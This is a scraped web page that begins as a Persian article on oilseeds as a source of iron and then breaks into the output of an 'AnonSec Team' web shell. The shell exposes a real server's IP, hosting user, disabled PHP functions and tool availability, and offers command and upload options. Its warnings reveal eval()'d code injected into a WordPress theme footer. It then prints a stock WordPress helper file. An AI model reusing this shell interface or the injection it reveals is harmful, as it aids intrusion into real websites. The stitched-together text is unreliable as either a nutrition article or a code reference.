انواع دانه های روغنی حاوی آهن

یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟
به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند.
شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.

انواع دانه های روغنی

دانه های روغنی و آهن موجود در آن

آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند.
بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 37.187.155.34  /  Your IP : 18.221.142.39
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/install-helper.php
<?php
/**
 * Plugins may load this file to gain access to special helper functions
 * for plugin installation. This file is not included by WordPress and it is
 * recommended, to prevent fatal errors, that this file is included using
 * require_once.
 *
 * These functions are not optimized for speed, but they should only be used
 * once in a while, so speed shouldn't be a concern. If it is and you are
 * needing to use these functions a lot, you might experience timeouts.
 * If you do, then it is advised to just write the SQL code yourself.
 *
 *     check_column( 'wp_links', 'link_description', 'mediumtext' );
 *
 *     if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
 *         echo "ok\n";
 *     }
 *
 *     // Check the column.
 *     if ( ! check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
 *         $q = $wpdb->query( $ddl );
 *     }
 *
 *     $error_count = 0;
 *     $tablename   = $wpdb->links;
 *
 *     if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $res .= $tablename . ' - ok <br />';
 *     } else {
 *         $res .= 'There was a problem with ' . $tablename . '<br />';
 *         ++$error_count;
 *     }
 *
 * @package WordPress
 * @subpackage Plugin
 */

/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';

if ( ! function_exists( 'maybe_create_table' ) ) :
	/**
	 * Creates a table in the database if it doesn't already exist.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $table_name Database table name.
	 * @param string $create_ddl SQL statement to create table.
	 * @return bool True on success or if the table already exists. False on failure.
	 */
	function maybe_create_table( $table_name, $create_ddl ) {
		global $wpdb;

		foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) {
			if ( $table === $table_name ) {
				return true;
			}
		}

		// Didn't find it, so try to create it.
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
		$wpdb->query( $create_ddl );

		// We cannot directly tell whether this succeeded!
		foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) {
			if ( $table === $table_name ) {
				return true;
			}
		}

		return false;
	}
endif;

if ( ! function_exists( 'maybe_add_column' ) ) :
	/**
	 * Adds column to database table, if it doesn't already exist.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $table_name  Database table name.
	 * @param string $column_name Table column name.
	 * @param string $create_ddl  SQL statement to add column.
	 * @return bool True on success or if the column already exists. False on failure.
	 */
	function maybe_add_column( $table_name, $column_name, $create_ddl ) {
		global $wpdb;

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
		foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
			if ( $column === $column_name ) {
				return true;
			}
		}

		// Didn't find it, so try to create it.
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
		$wpdb->query( $create_ddl );

		// We cannot directly tell whether this succeeded!
		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
		foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
			if ( $column === $column_name ) {
				return true;
			}
		}

		return false;
	}
endif;

/**
 * Drops column from database table, if it exists.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name  Database table name.
 * @param string $column_name Table column name.
 * @param string $drop_ddl    SQL statement to drop column.
 * @return bool True on success or if the column doesn't exist. False on failure.
 */
function maybe_drop_column( $table_name, $column_name, $drop_ddl ) {
	global $wpdb;

	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {

			// Found it, so try to drop it.
			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
			$wpdb->query( $drop_ddl );

			// We cannot directly tell whether this succeeded!
			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
			foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
				if ( $column === $column_name ) {
					return false;
				}
			}
		}
	}

	// Else didn't find it.
	return true;
}

/**
 * Checks that database table column matches the criteria.
 *
 * Uses the SQL DESC for retrieving the table info for the column. It will help
 * understand the parameters, if you do more research on what column information
 * is returned by the SQL statement. Pass in null to skip checking that criteria.
 *
 * Column names returned from DESC table are case sensitive and are as listed:
 *
 *  - Field
 *  - Type
 *  - Null
 *  - Key
 *  - Default
 *  - Extra
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name    Database table name.
 * @param string $col_name      Table column name.
 * @param string $col_type      Table column type.
 * @param bool   $is_null       Optional. Check is null.
 * @param mixed  $key           Optional. Key info.
 * @param mixed  $default_value Optional. Default value.
 * @param mixed  $extra         Optional. Extra value.
 * @return bool True, if matches. False, if not matching.
 */
function check_column( $table_name, $col_name, $col_type, $is_null = null, $key = null, $default_value = null, $extra = null ) {
	global $wpdb;

	$diffs = 0;

	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
	$results = $wpdb->get_results( "DESC $table_name" );

	foreach ( $results as $row ) {

		if ( $row->Field === $col_name ) {

			// Got our column, check the params.
			if ( ( null !== $col_type ) && ( $row->Type !== $col_type ) ) {
				++$diffs;
			}
			if ( ( null !== $is_null ) && ( $row->Null !== $is_null ) ) {
				++$diffs;
			}
			if ( ( null !== $key ) && ( $row->Key !== $key ) ) {
				++$diffs;
			}
			if ( ( null !== $default_value ) && ( $row->Default !== $default_value ) ) {
				++$diffs;
			}
			if ( ( null !== $extra ) && ( $row->Extra !== $extra ) ) {
				++$diffs;
			}

			if ( $diffs > 0 ) {
				return false;
			}

			return true;
		} // End if found our column.
	}

	return false;
}

AnonSec - 2021